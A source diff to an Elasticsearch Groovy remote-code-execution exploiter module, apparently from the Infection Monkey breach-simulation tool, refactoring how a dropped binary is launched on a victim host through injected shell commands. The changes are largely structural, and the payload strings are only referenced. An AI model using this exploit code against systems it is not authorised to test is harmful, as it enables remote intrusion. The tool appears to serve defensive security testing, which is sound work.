diff --git a/chaos_monkey/exploit/elasticgroovy.py b/chaos_monkey/exploit/elasticgroovy.py
index 59765d4a9..ed110e999 100644
--- a/chaos_monkey/exploit/elasticgroovy.py
+++ b/chaos_monkey/exploit/elasticgroovy.py
@@ -101,6 +101,16 @@ class ElasticGroovyExploiter(HostExploiter):
             return False
 
         self.set_file_executable_linux(host, dropper_target_path_linux)
+        self.run_monkey_linux(host, dropper_target_path_linux, depth)
+
+        if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)):
+            LOG.info("Log file does not exist, monkey might not have run")
+        return True
+
+    def run_monkey_linux(self, host, dropper_target_path_linux, depth):
+        """
+        Runs the monkey
+        """
         cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
         cmdline += build_monkey_commandline(host, depth - 1) + ' & '
         self.run_shell_command(host, cmdline)
@@ -108,7 +118,6 @@ class ElasticGroovyExploiter(HostExploiter):
                  self._config.dropper_target_path_linux, host, cmdline)
         if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)):
             LOG.info("Log file does not exist, monkey might not have run")
-        return True
 
     def download_file_in_linux(self, host, src_path, target_path):
         """
@@ -153,7 +162,6 @@ class ElasticGroovyExploiter(HostExploiter):
     def run_shell_command(self, host, command):
         """
         Runs a single shell command and returns the result.
-        :return:
         """
         payload = self.JAVA_CMD % command
         result = self.get_command_result(host, payload)
@@ -163,7 +171,6 @@ class ElasticGroovyExploiter(HostExploiter):
     def get_linux_arch(self, host):
         """
         Returns host as per uname -m
-        :return:
         """
         return self.get_command_result(host, self.JAVA_GET_BIT_LINUX)
 
@@ -194,13 +201,10 @@ class ElasticGroovyExploiter(HostExploiter):
         Gets the result of an attack payload with a single return value.
         :param host: VictimHost configuration
         :param payload: Payload that fits the GENERIC_QUERY template.
-        :return:
         """
         result = self.attack_query(host, payload)
         if not result:  # not vulnerable
             return False
-        if 1 != len(result):  # weird
-            return None
         return result[0]
 
     def attack_query(self, host, payload):